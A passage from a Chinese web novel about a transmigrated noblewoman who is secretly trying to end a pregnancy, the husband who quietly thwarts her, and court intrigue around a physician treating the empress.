三人应下,窦绍便让她们先下去了,他自己在门口站了一小会,这才回了前院。
信王约的是午时,窦绍是陪卫姜用过膳后这才出的门。
来到约好的茶楼,掌柜的亲自送窦绍去的雅间。
但令窦绍没想到的是,房里不只是信王在,还有一个意想不到的人,葛月。
他狐疑地看向信王,又瞟了一下葛月,“不知殿下找我来是有何事。”
很重要的事情,难道又是和葛姑娘有关,窦绍有些不悦,他不是很想和这位葛姑娘扯上关心,偏偏信王三番五次找他帮忙。
他打定主意,这次就算是信王开口,他也不会答应,葛姑娘查自己的身世,他没有义务去帮这个忙,信王欠她恩情,他可没有。
信王脸上有些尴尬,有些不知道怎么说,忙看向一旁的葛月。
窦绍脸更冷了,看来不是信王要见他,是这位葛姑娘,信王竟然做出这种诓骗他的事。
他转身就想离开,葛月站了起来:“窦大人,请留步。”
看他丝毫没有停的意思,葛月加快了语速:“事关县主。”
窦绍停下,转身看着她,眼神中起了一丝防备。
“事关重大,我只能求信王出面替我约您,只是这事关乎县主……”葛月看了一眼信王。
信王见葛月这样子,很有眼色地起身,“我去看看掌柜那里还有没有别的茶,这茶太不好喝了。”
信王走后,房间就只剩窦绍和葛月了。
窦绍坐下,重新沏了一杯茶,慢慢喝了一口,他在等着葛月开口。
葛月心里有些打鼓,她也不知道自己这个决定对不对,她也是在赌。
今日过后,她算是得罪了县主,可也不知道这位窦大人值不值的?
“窦大人可知道前几日贵府办过一次花宴。”
窦绍眼皮都没抬,“我夫人爱热闹,她办的宴会多了,葛姑娘说的重要事情,不会就是在我府上受了什么委屈吧。”
他嘴角有些讽意,“你若是要公道,那我恐怕是给不了。”
葛月脸色一僵,她甚至怀疑自己选错了。这位窦大人这么怕县主,她真的要说吗?
可已经到了这地步,也容不得她退缩了。
“窦大人说笑了,县主待我极其礼遇,甚至单独接见了我……”
葛月见到这位窦大人脸色忽然变了,眼神冰冷锐利地盯着她,让她的手不由地颤抖了一下,她两手握住,稳了稳心神,继续把当时的情形说了出来。
……
窦绍让人把他的东西要搬回了正房,卫姜拦着不让
“你每日起那么早,住一起我睡不好,我睡不好,孩子就长不好。”说完卫姜还挺了挺没有显怀的肚子。
窦绍目光很冷,他讽刺地看了一眼她的肚皮,讥笑道:“是吗?你还会担心孩子?”
卫姜被他目光刺的瑟缩了一下,有些心虚移开视线,她一退步窦绍就进了一步。
“我白日公务繁忙照顾不到你,晚上我得守着你,看着我们的孩子,万一你没照顾好怎么办?那我就睡不好了。”
卫姜总觉得他这话有深意,做了坏事的人总是会担心别人知道了,特别是刚刚葛月把她要的
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药送来了。
卫姜抬头偷偷打量他,他今日不对劲,这脸黑的跟包公有一比了,那张帅脸上都是戾气。
可他生气也不能住进来,她明日就要服药了,他住在这里多碍事。
“不行。你睡不好关我什么事,这是我的房间,我说了算,你不能住进来。”卫姜学着原主的蛮横无理。
窦绍低头看着她的眼睛:“你我是夫妻住在一起天经地义,或者……你怕我住进来碍事?”
卫姜一惊,眼睛都瞪大了几分,他怎么会知道……
脚下意识地退了几步,窦绍趁着她愣神的功夫就突破防线躺去了床上。
“你起来。”卫姜气呼呼地走过去,先是拉他的手让他起来,窦绍闭着眼装睡,到最后,她急了,开始踢他。
窦绍已经在忍住怒气,看到她的时候他真的很想质问,可又怕把以前说破了,他只能忍。
他没想到她会不要孩子,说实话知道这事的那一刻,他很愤怒,很不能理解。
但看到她的那一刻,他又有些理解了。
她应该也很害怕,她想让一切回到原样,可是晚了……
窦绍伸手撑住额头,孩子的到来让两人再也回不到原来了,一切都变了。
“你欢喜吗?”他忽然睁开眼问卫姜。
卫姜愣了一下,“什……什么?”欢喜什么?
窦绍:“知道有孩子的时候,你开心吗?”
她眼底惊恐一闪而过。
窦绍忽然明白了,她没有。
他眼神变得凌厉,一把把她拉进怀里,但另一只手轻轻地托住她的腹部,两人距离很近,近到能感受到彼此间的鼻息。
两人对视片刻后,卫姜的眼神开始飘忽,不看在看他,脸颊升起红晕,她下意识憋住呼吸,想要让心跳声小一点不要惊倒他。
卫姜以为自己做的很小心,却不知道这一切都被窦绍看到了眼底,他忽然笑了,送了禁锢在她腰间的手劲,他好像知道怎么对付她了。
“我很开心,这个孩子是上天送来的宝贝,以后你一定会很疼她。”
卫姜不敢看他的笑容,她有些内疚,对不起,她不能留下这个宝贝。
她的头埋在他的胸前,不敢看他的脸,窦绍眼神幽幽地打量着她的头顶,手一下下地抚摸着她的头发。
既然她喜欢这幅皮囊,那就好办了。
不管这个卫姜是谁,以后只能是他孩子的母亲,是窦府的女主人,她既然来了就不可能在抽身了。
窦绍变的眼神冷硬,她好像对这个葛月能力很信任。只怕有些缘故,他得多留意几分。
窦绍住了进来,对卫姜还是有些影响的,就比如用药,她只能白日偷摸喝,可一连喝了三天,她的肚子还是没有动静。
她有些急了,要知道就是现代药流其实也不是那么有效果的,何况她已经快两个月了。是不是这药不顶用啊。
可她找不到机会见隔葛月,窦绍不让她见外人,也不许开宴了,她就跟被软禁了一样,想要反抗也没人站她这边。
这一日黄院判又来请脉,卫姜有些担心会被他看出,,还好没有,不过这对她不是什么好消息。
因为黄院判说孩子长得很好,胎也已经稳当了,真是没天理了。
卫姜欲哭无泪,不能再拖了,她要尽快见到葛月,不过黄院判带来的一个消息让她想到了一个好主意。
次日,窦绍前脚刚走,她就收拾收拾进宫去了。
17. 第 17 章
卫姜先去的太后宫中,贵妃和太子妃都在皇后那里侍疾,太后身边只有贤妃在。
“你怎么来了?身子可受得住。”太后笑呵呵地看着她,让她走近一点好细细观察着气色。
见她面色红润,没有疲态,便知道她这怀相好,孩子没折腾她。
“皇帝没说错,你是个有福的。”太后拍了拍她的手。
这孩子性子改了过来,这福气也就来了,十几年没动静,这都当祖母了,却又有了,可不是就有福。
也是窦家的运气,窦景也不至于孤孤单单的,以后也有个帮衬。
“你那孙儿取名了吗?”算着日子也快满月了。
卫姜:“还没定下大名,先宝哥儿的混叫着。”
这段日子陶氏坐月子,卫姜养胎,两人好久都没见过了,她也只见过那胖小子几次。
第一次无痛当祖母,卫姜也很是稀奇,跟天下当了奶奶的人一样,很是喜欢炫耀。
“那小子每日不是吃就是睡,每天睁开眼就是哼唧唧要吃的,长得可胖了,过些日子我都该抱不动了。”
太后:“孩子胖点好,能吃才能长,你现在可是重身,还是少抱。”
孩子小不懂事,他要是对着她肚子踹两脚可就不好了。
旁边的贤妃好似打趣道:“等大一点,侄子倒可以帮着带叔叔了。”
太后瞥了一眼贤妃,笑意敛了一些,她在宫里大半辈子,那里听不出女人嘴上的官司,贤妃这是嘲笑卫姜老蚌生珠呢
“多少人想要这个福气都没有呢。”
这话一语双关,贤妃脸色微变,她这些年也只有信王一个,她又何尝不想再生一个呢,若是她有卫姜这个福气,还能再有孕,她都不知道多欢喜呢。
卫姜听了这话,摸了一下肚子,想到今日来的目的,便问道:“听说皇后娘娘病了有些日子了,我想等下去探望一下。”
太后点头,“你有这个心就好,只是你如今不同以前,她又病了些日子,你就别过去了,派个人去看看就好,等她大安了你再去给她问安。”
贤妃撇嘴,太后也太看重这个卫姜了,怎么她们每日去侍候,她就不担心那病过人了。
贤妃:“我看如今太医院是越来越没用了,一直说什么温养,这都快半个月了,皇后还是病歪歪的。”
这说的什么话,还非议起皇后了,太后撇去警告的一眼:“收声,太医院的事情有皇上操心,既然担心皇后你就该去皇后宫中侍候着,怎么又跑来我这里躲闲。”
贤妃脖子一缩,没想到太后姨母竟然早就看穿了她的目的,这天天被拘在皇后宫中侍候皇后,她也累啊!
不过有外人在场,她还是要找个话圆一圆,不然显得她不敬重皇后。
“臣妾是有正事来求您,这才先来这里的,我马上就去皇后那里服侍。”
太后嗯了一声,神色稍霁,挥手让她下去:“你说的事情我会跟皇上再提一提,你也不用急。”
能让贤妃着急的自然只有信王的婚事了。
贤妃是信王的母亲,如今葛月又住在贺家,卫姜立马起身,表示正好跟着贤妃一起去看看皇后。
太后又劝了几句,卫姜表示自己身体很好,会特别留意,且她既然知道皇后病了,进了宫自然就该去探望。
太后虽然是不赞同她去,但其实心底还是很满意她的懂事。
可能因为皇后病了,坤宁宫气氛很肃穆,宫女太监们走路都不敢发出什么声音,她们到的侍候,皇后正好在服药。
“我这里病着,小心给你过了病气,你现在也要多留意着些。”皇后漱完口,掏出帕子擦拭着嘴。
她又吩咐人打开窗,给屋里通通气,看向卫姜肚子的那一瞬间,眼中带着羡慕。
当初皇帝封她为继后就是看中她没有子嗣,为人贤德不会薄待太子,她心里也是明白的,所以当初一时没有孩子她也不在意,可直到太子长成,她依旧没有动静,后来看遍太医也没有用。
所以看到卫姜这个岁数还能有孕,她心中是极其羡慕的,女人还是要有自己的孩子,丈夫不一定只属于自己,可孩子一定是自己的。
“皇后娘娘这病如何了?”
卫姜的话把皇后从沉思中唤醒,她回道:“那是那样,提不起劲来,病去如抽丝,御医叫我好好养着。”
一旁的贵妃蹙眉道:“我看那些御医都怕当责,仅开些太平方,你这慢慢养也要身子背住才行,我看不如从民间找些医术高超的大夫来看看。”
皇后摇头:“这不合规矩。”
贤妃在旁开口,“这个时候还管什么规矩,让严家送个大夫进宫悄悄给您瞧瞧不就行了,这又不是兴师动众的,如何不行。”
“这外男如何好进内宫,自然还是要通过皇上那边。”虽是贵妃出的主意,可她却不赞成贤妃这种偷摸的行为。
眼看两人争执起来,皇后连忙劝架:“行了,不用这么麻烦了,太医院的药还是有用的,我再养一段日子就好了。”
贵妃欲言又止,但还是忍住了,贤妃却转头撇嘴,觉得皇后就是自找苦吃。
卫姜等的就是这个时机:“皇后娘娘我倒是有个办法。”
众人看向她。
卫姜:“我认识一位医术高超的女大夫,她的医术连太医院的御医都拜服的,不如宣她进宫给您瞧瞧。”
这样既不用兴师动众去民间征召,也不用违背宫规。
“此话当真,真有这么厉害的女大夫。”贵妃急急追问。
卫姜点头:“我亲眼所见,她几针就救回了徐老夫人。”
当初苏家宴会发生的事情,她们也都是听说过的,心下又信了几分,连皇后脸上也有了激动之色。
若是能早点痊愈,谁愿意病歪歪地躺在病床上。
“这人如今在哪?”贵妃替皇后开口问
卫姜见此不由地欢喜,没想到这么容易,如此看来皇后确实被病折磨的不清。
“贤妃娘娘知道。”卫姜看向贤妃的方向。
贤妃有些懵,她怎么知道了。
“这位葛姑娘之前还救过信王殿下,如今就住在贺家。”
贤妃瞬间反应过来,她是听儿子说过救她的是个小医女,没想到本事这么大啊,她有些嫉妒地看了一眼卫姜,人在她娘家住着,怎么在皇后面前邀功的机会倒是让她得去了。
“我怎么没想起来,信王是提过她会些医术,她还救过信王的性命,我现在就派人去贺家接她。”
贤妃装作激动的样子,立马让人取了信物出宫。
这一来一回,起码也要一个时辰,卫姜也不好坐着干等,便去了御花园逛逛。
领路的小太监说暖房里有几株牡丹开的很好,她一时来了兴趣,却没想到却碰到皇上带着太子也来赏花。
“你这可有一些日子没进宫,今日窦卿怎么舍得放你出门了。”皇上揶揄她。
卫姜抬高下巴,有些傲气道:“他什么身份,凭什么要听他的,这世上只有舅舅能管住我,我也只听舅舅的话。”
这马屁拍的皇上龙颜大悦,连一边的太子都讶异看了她一眼。
皇上:“你现在倒是会说话了,黄卿跟我说你身子无碍,若是有空就多进宫陪陪太后,宫里也好久没有这种喜事了。”
说这话时他瞟了一眼太子,太子腰背挺直,头心虚地低下。
三个儿子,两个儿子未成亲,还有得等,这成亲的开枝散叶又不行,皇上心都闷了。
“你不是去皇后宫里了,怎么又来了这里?”皇上还是喜欢和外甥女说话,看她神采飞扬的样子,他就觉得心情都好了很多。
你看,那双和他相似的凤眼瞬间就上挑了,这是得意时会做的动作,他也时常这样。
这要是他的女儿该多好,皇上心里惋惜万分。
“舅舅,我可立功了,你要不要赏我。”卫姜拉上皇上的袖子摇来摇去。
皇上还没被谁这么撒过娇,一时有些新奇。
卫姜满心都是刷大粗腿好感,就按照以前在家和爸爸撒娇的样子来,她可不知道在这里,没人敢跟皇上这么说话。
旁边的人都惊呆了,皇帝却笑的眼角纹都挤成一堆了:“好好好,你说说看,你都立什么功了。”
卫姜:“我给皇后娘娘荐了位厉害的大夫。”
她便又把女主的本事夸了又夸,还把她的品貌性情也夸了一遍,听的皇帝新奇不已,要知道他这外甥女可不是个什么心
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胸宽阔的人,能让她夸的人,一只手指头都数不过来吧。
知道这位葛姑娘还是信王的救命恩人,皇上又更是好奇了。
他看了下天色,这个时辰那位女大夫应该进宫了,便也准备一起去那瞧瞧。
不过他也没忘了赏卫姜,“你做的好,那朕就重重的赏你。”他环顾了一周,好像有了好主意。
“那就把这两盆姚黄和白雪塔赏你吧。”
卫姜看看花又看向皇帝,一时有些愣,就……就赏些花?
她还是更喜欢金子,实用一点的。
“舅……舅,要不……”
她话还没说完,皇帝就打断了:”听说你很常开花宴,朕赐你的这两盆牡丹你是不是很喜欢。”
话都说到这份上了,还能说不喜欢吗?“喜欢。”一副勉强的表情。
皇帝指着其中两个内侍道:“等一下就给县主送回府里。”
那两人领旨,卫姜屈膝谢恩,那小嘴都能挂油瓶了。
皇上转过头没忍住笑了,太子见了也忍不住憋笑,其他人都低下头,肩膀一抽一抽的。
卫姜那里不知道这是皇上恶趣味呢,就是故意逗人。
“舅舅。”卫姜有些恼羞成怒了。
这皇帝可真是老顽童,把她当几岁小孩子逗呢。
“朕去看看皇后。”说完脚也不停地走了。
卫姜在原地插了会腰,她刚刚也不全是演戏,就有点真的代入了,在现世,她的舅舅也是经常这么逗她的,恍惚间她竟然觉得两人有些像。
哪怕她三十多岁了,在舅舅眼里,她还是个孩子,每次外出回来带了什么糖都要让她猜一猜,每次还会用好吃的诱惑她。
卫姜鼻子酸酸,偏过头擦了擦眼睛。
回到坤宁宫时,葛月已经到了,她正在给皇后施针。
不愧是女主,这胆魄就非一般人能比,这可是皇后,太医院的人都不敢开猛药,她就敢下针,活该她最后成功。
信王是陪着一起来的,如今他像个鹌鹑似地在皇上跟前回话,偶尔皇上脸黑时,太子又上前适时维护,信王一脸感激地看着兄长。
真是兄友弟恭,谁又能想到最后却变成你死我活呢。
行完针,皇后肉眼可见地轻松了很多。
“果然如县主所说,葛姑娘医术高超,我都觉得精神了很多,还有些饿了。”皇后如是说道。
听到她有些饿,宫女们激动地眼泪都出来了,皇后自从病倒后就食欲不好,这些日子更是吃不下东西,整个人都瘦了一圈。
“皇后娘娘脾胃弱,如今只能喝些清粥。”葛月对宫女道。
皇后娘娘点头:“那就喝点粥。”
那宫女高声应着下去了。
皇上走进看了看皇后的脸色,点头道:“太医院那些人是有些不长进了,这次还真如阿姜所说,你立大功了。”
葛月看了一眼卫姜,神色有些讶异,没想到竟然会是她帮了自己。
皇上对皇后道:“刚刚朕赏了她两盆花,阿姜好似不太满意,不如皇后再赏她一点首饰,女子爱美她定然就高兴了。”
卫姜脸通红,没想到皇上竟然这么说,跟当众要东西有什么区别。
大家看她的目光各异,贤妃有些嫉妒,暖房的那些花皇上很是喜欢,谁都不敢要,没想到竟然会赏给她两盆。
竟然还不满意,忒不识货了。
“那就听皇上的,赏些首饰珍玩,不如再加上些药材吧,她如今有了身子也用的上。”
皇上听了拍了拍皇后的手,一脸欣慰:“看来还是皇后想的周到,朕啊真离不开你。”
这让贵妃和贤妃脸色精彩极了,皇后病了可是她们俩协理宫务,皇上说这话岂不是说她俩做的不好。
皇后可不能搭腔他这话,不然就是让人嫉恨了。
卫姜向皇后谢了赏赐,之后就出了坤宁宫,在宫道上她碰上了正在等她的葛月。
葛月能替皇后治病,以后身份水涨船高,她自然要谢谢卫姜。
她心情有些复杂,见卫姜问她药的事情,犹豫再三,她还是决定说出实话,这也算是报答县主的举荐之恩了。
“那药其实是窦大人让我开的安胎药。”
18. 第 18 章
窦绍今日回来的比较早,前脚刚踏进来就觉得屋里气氛不对,一旁侍候的田彩做了个生气的表情。
懂了,这是有人惹到她了,应该是宫里有人给她气受了。
他放轻脚步靠近她,从袖子里掏出一个纸包,里面是刚出炉的糖炒栗子,之前去徐家经过这个摊子时,她还深吸了一下鼻子,应该是想吃。
“糖栗子,趁热最好吃了。”
他把纸包一直贴身藏着,此刻放到她手中时尚是热乎的,香甜的味道刺激做她的味蕾,卫姜很是嫌弃地丢到一边。
明明都咽口水了,为何还要装作不喜欢,窦绍不是很懂,难道是气还没消?
“怎么了?宫里谁给你气受了?”窦绍挨着她坐,柔声询问。
可别把锅甩给宫里,宫里人和他比,那简直各个都是老实人,还谁给她气受了?自己干了什么亏心事半点不慌吗?
不愧是老奸巨猾的厚脸皮。
卫姜猛地往旁边挪了一下,不想和他靠那么近,连听到他呼吸都觉得烦!
窦绍看着她腾空的地方,终于后知后觉的发现她在生谁的气了,他细细想了一遍,今日他应该没有机会得罪她,他一直在公衙,而她去进了宫。
难道是宫里碰到了什么人,或者是有人说了什么,让她迁怒了?
“你总该告诉我生气的原因吧?这样我也能改过来,保证下次不再犯。”窦绍依旧温和地笑着,衬的她有些无理取闹。
卫姜又狠狠地白了他一眼,什么原因?她要是能说早就闹个天翻地覆了,用的着这么生闷气。
他敢这么做,不就是笃定被发现了她也不能找他麻烦。
那个葛月也真是多事,怎么就觉得自己是意气用事了,还把自己的打算告诉了窦绍,让他来劝。
这下好了,她事情没办成就算了,窦绍只怕也有了警惕心,她别想再找其他大夫了。
难怪那天他跟有病似的找茬要搬回来住,敢情是要监视她呢。
“你走远点,我看到你就气,不需要原因。”卫姜又不能发泄,胸口气的一起一伏的,眼圈红红。
窦绍愣了一下,伸手拍着她的背,笑的很是讨好。
谁让他笑的,笑的这么好看她还怎么生气,她一把掐住他的半边脸,脸一下子就红了,显得更诱人。
“你走开,不许笑。”
窦绍伸手拉下了她的手,对她道:“你要是生气就打我几下,可不能这么憋着,对身子不好。”
他这话瞬间引爆了她的怒气,“是对你孩子不好吧,你就知道孩子、孩子,我不想……。”生。
窦绍竖起手指堵住了她的话:“嘘,小孩子很小气的,她要是生气折腾你怎么办,我问过黄院判了,这孩子怀相好,你这个岁数最好还是生下来,我看你那么喜欢宝哥儿,定然也会喜欢这个孩子。”
卫姜一下拍开他的手,呸呸两下,也不知道他洗没洗过手。
还有,她只是喜欢别人的小孩,别人的孩子玩哭了玩累了能还给她妈,要是自己的,又不能塞会肚里。
她不想带孩子!
卫姜摇头,不是,她都快被他带偏了,不是带不带孩子的问题,是为什么要生。
她抱着肚子往后一躺,老天爷就是惩罚她那晚的贪色,这是冲动的惩罚吗?
“娘,娘。”
人还没到,窦景那大嗓门已经快把她耳朵振聋了。
“爹您也在啊。”窦景脚步收了收,一副恭敬的模样
卫姜已经无所谓了,不想起身,就这么斜眼看过去。
“娘您这是怎么了,我弟弟闹你了?”窦靖蹲在卫姜边上。
她偏过头就能看到父子俩的大脑袋,头疼,她手啪拍在额头上。
“你干嘛?”她发出有气无力的声音。
窦景见老爹脸色不好,老娘一副不待见父子俩的表情,心里已经有八分数了,定然是父亲惹母亲生气了。而自己无辜被牵连了。
“不说滚。”娘的怒火还挺大,对着他的脸都能说滚,窦景心里有一瞬的委屈。
窦景比他父亲更早发现了母亲的弱点,她的娘对长得好看的人,笑容都多三分。
要不然他当初也不会怀疑他娘养面首了。
“娘,我听说皇上赐了您两盆花,能不能借儿子几日?”
卫姜乜眼看他,表情不善,窦景连忙解释:“是这样的,阿陶还在坐月子又不能出门,我看她精神不太好,想借您两盆花摆在房里给她看看,说不定她心情会好一些。”
窦绍在一旁开口:“你自己去右安门买,你娘自己也要赏的。”
本来卫姜还想为难为难窦景,听了窦绍的话瞬间就想唱反调了。
“你搬走吧,我不喜欢花花草草。”
等窦景真的咧着大嘴把花抱走时,卫姜又满脸舍不得了,这两盆花是真的好看,她都从来没见过这么美的花。
她安慰自己,这也是为了治愈儿媳妇,值得的,算是补偿书中原主对陶氏所做的恶事了。
窦绍跟着窦景出了门,交代道:“小心看护着,明日我让人去买些花回来,这两盆你还是还回来。”
这两盆可是宫里培育出来的,岂是一般花能比的,他的阿陶看一日怎么够。
他看了一眼父亲,嘟囔道:“父亲,您还是多想些办法哄好娘吧,光靠这两盆花可没用。”
说完也不管老父亲什么脸色,脚步飞快的溜了。
晚膳的时候,卫姜还是没给他好脸,一个劲的低头干饭,一不小心多吃了一碗,有些撑了,看着时辰还早,她便带着蓝心和田彩去了后院散步。
窦绍留在房里处理事情,长佩侍候茶水。
“今日宫里赏了很多东西,可是宫里有什么喜事?”连皇后都有很多赏赐,难道是皇后病好了?
今日是长佩陪卫姜进宫的,想知道宫里发生了什么,只有问她了。
“回大人,是县主给皇后娘娘荐了为大夫,皇后娘娘病情有所缓解,皇上和娘娘觉得县主有功,这才赏了东西。”
窦绍握笔的手一顿,装作随口问道:“哪位大夫?”
长佩:“是救了信王殿下的那位葛姑娘。”
他的手重了一下,纸张上划了一个黑点,看来她是知道药的事了,难怪生气了。
“今日县主的汤药进了吗?”
长佩吞吞吐吐,片刻后摇头:“县主嫌药苦,今日怎么都不肯进。”
窦绍一点都不意外,“她不爱喝就不喝吧。”
晚间,窦绍又被赶去了软榻,这一睡就是好几日。
这一日,卫姜正在逗她的孙子宝哥儿玩,宫里又来了人,说是皇后要见她。
前两日皇后就已经康复了,宫里还重赏了葛月,这让葛月在京中名声大噪,各家开宴都争着抢着邀请她。
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“有没有说是什么事?”卫姜问道
蓝心摇头:“那位公公只说皇后娘娘请您进宫坐坐,他人还在前院等着呢?”
总不能让人家一直等着,卫姜捏了下孙子的小胖脸,收了拨浪鼓准备去换衣服,小家伙不乐意了,小脚一下一下蹬着,嗷嗷的叫。
卫姜乐了,又逗了两下,逗的小家伙口水溜了好大一摊,她乐的哈哈笑。
“你陪他玩会儿,等下送回他娘那里去。”
田彩应是,接过拨浪鼓继续逗宝哥儿,小家伙明显不太喜欢这个新的接班人,两个圆溜溜的眼睛一直跟着卫姜转,还啊啊地试图叫回祖母。
皇后体谅她有孕,这次进宫还特意派了软轿接她,她一路进了坤宁宫。
皇后脸色红润,身体应该是大好了,卫姜笃定皇后定然是有事,不然也不会这么急把她叫进来了。
要知道原主和先皇后感情很好,对严皇后这位继后可就有些淡了,平日里俩人也都是面子上的交情,这么私下叫进来叙旧,可是从未有过。
卫姜不急,等着她问话。
严皇后喝了一口茶,看向下首静默不语的卫姜,开口道:“我在宫里待的有些闷,找你进来陪我说说话,你不烦吧?”
这哪敢啊,卫姜笑笑,陪着皇后说了会家常,皇后总算进入了正题:“你和那位葛姑娘熟吗?”
熟?那可是太熟了,对女主的生平她比算命先生算的都准。
卫姜抬头矜持道:“我只是听夫君听起过几次,后面见过几次面,倒是信王应该对葛姑娘更了解一些。”
是问葛月,难道皇后发现葛月的身世了?
书里面可没有这段,皇后还是葛月认亲后严氏带她进宫时才知道真假千金的事,难道是她改变了剧情,也不对,书里面葛月也是进宫过的,不过是给贤妃治病。
书中卫姜口无遮拦乱说话,惹得太后病情加重,贤妃也忧思成疾,后面信王归来贤妃虽然大好却落下的喘症,女主来京城后,信王就请她入宫给自己母妃治病了。
卫姜心猛跳了两下,若是葛月身世提前揭露,是不是就能加快剧情了。
她继续问道:“不知娘娘怎么问起这个了?若是葛姑娘以前的事情不如召信王殿下来问问。”
皇后:“不用不用,我只是看葛姑娘年岁不大却有一身好医术,好奇她的身世罢了。”
卫姜装作恍然:“我当初也好奇呢,听说葛姑娘父母不过是农户,她小时候跟同村的一位老人学了些医术,我想那位老者定然是位隐士医者。”
皇后讶异问道:“葛家真的只是农户?”
卫姜有些好奇看向皇后,她解释道:“我看葛姑娘有块玉佩倒是不俗,可不像是农户出身。”
“玉佩?这我就不知道了。”
玉佩,那可是你们严家的东西,自然是好东西了,但卫姜却不能说,还得演下去。
“娘娘想知道,不如我明日问问她。”一副没有心机,没有多想的模样。
皇后笑容深了些,嘴上却说着:“也就是好奇,倒是不好让她误会了我。”
卫姜大手一挥,“我自然不会提娘娘,其实我也好奇,不过随口一问而已,不会让她多想的。”
皇后笑眯眯点头,之后又说了大半日闲话,卫姜这才出宫了。
刚到家,长佩一脸急色迎了上来:“大夫人和姑奶奶来了?”
19. 第 19 章
卫姜进了宫,只有让刚出月子的陶氏来接待,林氏和窦明脸色有些难看,特别是窦明仔细看双眼都是红肿着的。
“这是怎么了?”卫姜问道
林氏笑道:“明儿来给我们送春菜,我想着给你们也送些来尝尝鲜,正好也让明儿也沾沾你的喜气,你不拘赏她点什么常用小物件,给她也冲冲。”
卫姜心里叹气,面上却带着不好意思的笑,这种众人羡慕的眼神她这些日子见的太多了,恐怕大家都以为她高兴的要跳起来了吧。
又有谁知道她压根不想要这喜事,也不是,还是有人知道的,窦绍很清楚,可他不言不语的堵住了她所有的退路。
如今孩子将满三月,京中那些大夫都不用窦绍威胁已经不敢接手她的事情了,都说没把握,恐怕会有性命危险。
和生个孩子比起来,那还是命更重要,而且她发现窦绍好像起了疑心了,他有些不对劲。
卫姜扯出一丝笑容,转头从头上拔下一支金簪递给窦明。
窦明哪敢接,急的直看林氏。
林氏:“这太贵重了,你给了荷包香囊什么的就行了,这簪子就算了吧。”
卫姜没办法,亲自去帮窦明插上。
“这又什么贵重不贵重的,不过是个簪子,送给侄女我还是能送的起的。”这话说的大家窦笑了。
卫姜又拔下另一支玉钗,给了陶氏:“我也是嫌头上戴的重,索性给她们让我也松快一会。”
陶氏握着东西有些紧张的不知所措,倒是窦明笑着起身道:“那就偏了婶娘的好东西了。”
陶氏也跟着开口:“多谢母亲赏赐。”
卫姜看林氏还有话说,便吩咐陶氏带窦明去看看宝哥儿,那新婚妇人不是最爱抱孩子讨彩头吗,果然林氏笑的真诚多了。
等两人走后,卫姜这才道:“大嫂,可是明儿遇到了什么事?”
黄院判前几日才去给窦明诊过脉,说她恢复的很好,再有三四个月就可以准备要孩子了,怎么林氏又忽然这么急起来了,来沾喜气讨彩头。
林氏神情一下子低落下去了,她掏出手帕擦着眼角,也不怕在卫姜面前失态丢人了。
“这一年我为明儿操的心比她出生以来都多。”她眼底带着愤怒:“我金尊玉贵养出来的女儿,如今却在别人手心里搓磨,我这颗心……”
忽然她想到卫姜以前也是搓磨过儿媳陶氏的,紧急咽下了接下来的话,有些尴尬地看向卫姜。
她这次来主要还是为了求窦绍出面,可不能把卫姜给得罪了。
“你也知道我们家侯爷那就是个纸糊的,在朝中说不上话,难免就被人瞧不起,我们自己就算了,可却连累的明儿也被人轻视。”
虽同时勋贵武将之家,阳武侯府早就落寞了,保国公府却如日中天,苏国公在朝中依旧担着要职。
她家侯爷在苏国公面前怕是说不上什么话,他们也不会放在心上,好在窦家还有个窦明,位高权重,且深得帝宠,林氏睃了一眼卫姜。
而且卫姜好歹是个县主,和皇家连着亲,瞅着皇帝还挺重视这个表外甥女的。
她也不奢求卫姜能出面替窦明撑腰,但若能让窦绍在苏国公面前说上几句也好啊,给明儿再多些日子。
“苏家要给苏通纳妾了。”林氏咬着牙说了出来,窦明昨日是哭着回来的。
林氏心疼女儿眼看丈夫没办法撑腰,这才带着窦明来了窦府。
“这么急,苏通以后都生不了?急着续香火呢。”几个月都等不了。
林氏知道卫姜把丈夫看的紧,也最听不得别人纳妾,所以她只要说出苏通要纳妾之事,卫姜定然会对苏家不喜。
林氏听了这话强忍住笑,没想到卫姜嘴会这么毒,心中又对此事又多了几分把握。
她面上却依旧愁眉紧锁,脸色颓丧。“那严氏都把话递到明儿跟前了,人选都看好了,是个秀才的女儿。”
那难怪窦明双眼红肿了,这贤惠明理的严氏怎么听着比原主还可怕。
林氏也后悔,“都怪我,当初侯爷不看好这门婚事,觉得高攀了,我却觉得苏通一表人才可配明儿,也是觉得严氏贤惠明理重规矩,这样的婆母明儿只要不犯大错,日子定然是好过的,谁知……”
谁知这严氏不光自己贤惠,还要儿媳一起贤惠。
“苏通怎么说?”卫姜觉得苏通态度才是最重要的,他是不是也觉得自己母亲安排没错。
林氏放下帕子,眼底带着几分欣慰:“世子自然是不愿的,他也回绝了,谁知道严夫人大怒,派人把明儿交过去骂了一顿,说是她教唆的,还说……还说明儿不贤。”
谁家女儿愿意传出这么个名声,林氏气的肝疼了半宿。
“那你是怎么打算的?”卫姜气过之后又平静了下来。
林氏小心地打量了她一眼,却让卫姜误会了。
她指着自己,说道:“你是让我出面。”
她的身份倒也够,好歹是个县主,那严氏说什么也要给几分颜面,只是原主之前和严氏可是不对付。
严氏一向是嫌恶她的名声,对她的劝解会听几分呢?说不定还会起到反效果。
卫姜眼睛转了几圈,想到了一个办法:“不如我让窦绍去找苏国公说说吧。”
毕竟苏通也并不远纳妾,婚姻是两姓之好,苏家要纳妾总也要问问窦家的意思吧,何况窦明又不是不能生了,不过是晚上半年而已。
林氏眼睛都亮了,心中狂喜,她没想到事情竟然如此顺利,她的话还没出口,她就已经提前答应了,甚至都没有和二叔商量。
当然,她也不需要和二叔商量。
“那我替明儿谢谢弟妹了,等下我让她给你磕个头,你这个婶娘帮了她太多了,我这个娘都比不上。”
林氏紧紧拉着她的手,卫姜拍了拍,让她放松下来。“磕头什么的就算了,一家人那用的着这个,我不过是做些能帮的上忙的事情,你这个做娘才是为她呕心沥血,她要谢也该谢你。”
卫姜算是反应过来了,恐怕林氏今日来就是冲窦绍来的。
原主的名声摆在哪里,林氏怎么可能会是来求她的,她不捣乱都算好的了。
“做父母的为孩子求什么回报,他们过
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的好我们也就放心啦。”林氏叹道。
她那一副满足的表情,让卫姜有些触动,她伸出手摸了摸肚子,这个小豆子快三个月了,以后是不是也会让她如此操心。
晚上卫姜把林氏的来意说了一遍,窦绍脸色有些冷,点头道:“后日休沐我找苏国公聊聊。”
卫姜:“要不还是生个儿子吧,生女儿可真操心。”
操心她嫁个什么样的人,操心她会碰上难缠的婆婆,怕是数不清的担忧,还是儿子好,在自家,只要当个慈善的婆婆就好。
窦绍也有一瞬的犹豫,但想要女儿的心战胜了那些担忧,他伸手刚搭上卫姜的肚子,就被她打下来了。
“离远点,你越界了。”卫姜指着两人之间的楚河汉界提醒他。
